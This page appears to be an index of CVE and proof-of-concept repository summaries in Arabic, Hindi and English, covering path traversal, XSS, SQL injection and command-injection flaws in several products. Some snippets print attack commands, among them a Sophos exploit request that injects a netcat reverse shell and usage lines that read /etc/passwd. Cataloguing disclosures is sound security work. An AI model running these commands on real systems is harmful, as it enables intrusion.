CVE-2026-51592

CVE-2026-51592 — تجاوز المسار في TahaBakhtari/SubtitleGenerator ملخص توجد ثغرة تجاوز مسار Path Traversal في نقطة النهاية /updatesubtitle في TahaBakhtari/SubtitleGenerator. تقبل نقطة النهاية معامل filename من عميل غير مصادَق وتدمجه مع دليل أساسي ثابت باستخدام os.path.join دون تعقيم تسلسلات تجاوز...

struts1filter

struts1filter حل فلتر لمعاملات الطلب خاص بـ Apache Struts 1 CVE-2014-0114 استنادًا إلى عمل Alvaro Munoz and the HP Fortify team. لاستخدام هذا الفلتر، أضف تعريف الفلتر التالي مع التعيين المناسب إلى واصف web.xml لتطبيق Apache Struts 1 الذي تريد حمايته: ParamWrapperFilter...

PoC_CVE-2017-3164_CVE-2017-1262

Apache Solr PoC CVE-2017-3164 CVE-2017-12629 يحتوي هذا المجلد على أمثلة لاستغلال الثغرات في Apache Solr CVE-2017-3164 و CVE-2017-12629 يُستخدم هذا فقط لأغراض تعليمية وبإذن كامل من مالك خادم Apache Solr. ستحتاج إلى معرفة عنوان IP أو اسم DNS لخادم Apache Solr واسم المجموعة Collection. CVE-2017-3164...

CVE-2026-76565

Reflected XSS via pricefrom / priceto Filter Parameters in PhocaCart PhocaCart ≤ 6.1.7 — مهاجم غير مصادق يحقن JavaScript عشوائيًا عبر عنوان URL مخصص لفلتر السعر الملخص إصدار PhocaCart 6.1.7 لنظام Joomla عرضة لثغرة XSS المنعكسة Reflected Cross-Site Scripting عبر معاملي GET pricefrom و priceto عند...

CVE-2026-30502-OpenKM-6.3.12-Reflected-XSS

🛡️ CVE-2026-30502 — XSS منعكس في OpenKM الإصدار 6.3.12 تم اكتشافه وإبلاغه بواسطةDharmendra Kumar — باحث أمني الأمن السيبراني | اختبار الاختراق | أبحاث الثغرات | الإفصاح المسؤول 📌 جدول المحتويات نظرة عامة تفاصيل CVE المنتج المتأثر وصف الثغرة تحليل السبب الجذري تقييم التأثير والمخاطر إثبات المفهوم...

CVE-2022-30040

Tenda AX1803 v1.0.0.12890 सेवा-अस्वीकार भेद्यता अवलोकन निर्माता की वेबसाइट जानकारी: https://www.tenda.com.cn/profile/contact.html फर्मवेयर डाउनलोड पता: https://www.tenda.com.cn/download/default.html भेद्यता विवरण भेद्यता ubif फ़ाइल सिस्टम में /bin/tdhttpd के rootfs में /goform/setsystimecfg में...

CVE-2021-42662

CVE-2021-42662 CVE-2021-42662 - ऑनलाइन इवेंट बुकिंग और आरक्षण प्रणाली संस्करण 2.3.0 में संग्रहीत क्रॉस-साइट स्क्रिप्टिंग भेद्यता। तकनीकी विवरण: इवेंट प्रबंधन सॉफ्टवेयर संस्करण 2.3.0 में एक संग्रहीत XSS भेद्यता मौजूद है। एक हमलावर इस भेद्यता का उपयोग करके वेब सर्वर के उपयोगकर्ताओं की ओर से...

CVE-2019-16113-Dockerfile

ثغرة اجتياز الدليل في Bludit CVE-2019--16113 Bludit-3.9.2 هو نظام إدارة محتوى CMS خفيف الوزن، ولا يحتاج سوى بيئة LAMP ليعمل. عند رفع الصور، يتحقق Bludit من امتداد الملف دون حذفه في الوقت المناسب، ويمكن للمهاجم أيضًا التحكم في معامل uuid لتحقيق اجتياز الدليل. المرجع بيئة الثغرة نفّذ الأوامر التالي...

CVE-2026-88397

ApiAdmin v.5.0 and before is vulnerable to SQL Injection in the user-list endpoint GET /admin/User/getUsers via the gid parameter...

CVE-2026-88395

GouGuOA v6.0.5 and before is vulnerable to SQL Injection in /home/message/rubbish via the keywords parameter...

CVE-2021-46108

CVE-2021-46108 ██╗ ██╗███████╗███████╗ ╚██╗██╔╝██╔════╝██╔════╝ ╚███╔╝ ███████╗███████╗ ██╔██╗ ╚════██║╚════██║ ██╔╝ ██╗███████║███████║ ╚═╝ ╚═╝╚══════╝╚══════╝ D-Link राउटर DSL-2730E - संग्रहीत क्रॉस-साइट स्क्रिप्टिंग D-Link DSL-2730E CT-20131125 डिवाइस में मेंटेनेंस कॉन्फ़िगरेशन के पासवर्ड पेज ...

CVE-2025-68428_PoC

CVE-2025-68428PoC $ git clone https://github.com/12nio/CVE-2025-68428PoC/ && cd CVE-2025-68428PoC $ sudo docker build -t poc . $ sudo docker run --rm -p 8080:8080 --name vuln poc $ curl "http://127.0.0.1:8080/api/v1/generate-invoice?client=Dinko&branding=../secret" --output poc.pdf...

CVE-2019-1010268

استغلال PoC لـ CVE-2019-1010268 المؤلف: Tonyynot14 تم اختباره باستخدام Kali Linux الإلهام من https://www.exploit-db.com/exploits/43113 الاستخدام python3 exploit.py -l domainname -a apppath -r /etc/passwd...

CVE-2020-5398

CVE-2020-5398 - هجوم تنزيل الملف المنعكس RFD لـ Spring MVC في إطار Spring Framework، الإصدارات 5.2.x قبل 5.2.3، والإصدارات 5.1.x قبل 5.1.13، والإصدارات 5.0.x قبل 5.0.16، يكون التطبيق عرضة لهجوم تنزيل الملف المنعكس RFD عندما يضع ترويسة "Content-Disposition" في الاستجابة حيث تكون سمة اسم الملف مشتق...

CVE-2023-1671

CVE-2023-1671 ثغرة RCE قبل المصادقة في Sophos Web Appliance إثبات المفهوم curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 " | base64"...

CVE-2019-15107

استغلال CVE-2019-15107 في Webmin CVE-2019-15107 تم اكتشاف مشكلة في Webmin =1.920. تحتوي المعلمة old في passwordchange.cgi على ثغرة حقن أوامر. NVD التجميع $ git clone https://github.com/whokilleddb/CVE-2019-15107 $ cd CVE-2019-15107 $ make مثال للاستخدام $ ./exploit http://thomaswreath.thm:10000 +...

CVE-2025-32778

CVE-2025-32778 - Web-Check कमांड इंजेक्शन शोषण विवरण CVE-2025-32778 एक गंभीर कमांड इंजेक्शन भेद्यता है Web-Check OSINT टूल में, जो Lissy93 द्वारा बनाया गया है। यह अप्रमाणित हमलावरों को स्क्रीनशॉट API में url पैरामीटर के माध्यम से मनमाने सिस्टम कमांड निष्पादित करने की अनुमति देता है। यह Python...

CVE-2026-42758

CVE-2026-42758 CVE-2026-42758 WebinarIgnition Exploit उपयोग उदाहरण मूल उपयोग python3 exploit.py https://target.example.com -e [email protected] वेबिनार पृष्ठ निर्दिष्ट करना python3 exploit.py https://target.example.com -e [email protected] -w https://target.example.com/webinar/my-webina...

CVE-2026-88394

WookTeam v1.6.6 and before is vulnerable to a Directory Traversal. The project task export endpoint /api/project/task/export downloads an arbitrary file from the server when the data parameter is supplied with a crafted JSON payload. The file value inside the JSON is concatenated directly into...

CVE-2024-23747

CVE-2024-23747 نظام إدارة المستشفيات ModernaNet من شركة Moderna Sistemas لعام 2024 يعاني من ثغرة مرجع كائن مباشر غير آمن IDOR. إثبات المفهوم تقع هذه الثغرة في تعامل النظام مع الوصول إلى بيانات المستخدمين عبر عنوان URL /Modernanet/LAUDO/LAU0000100/Laudo?id=. من خلال التلاعب بهذا المعامل id، يمكن...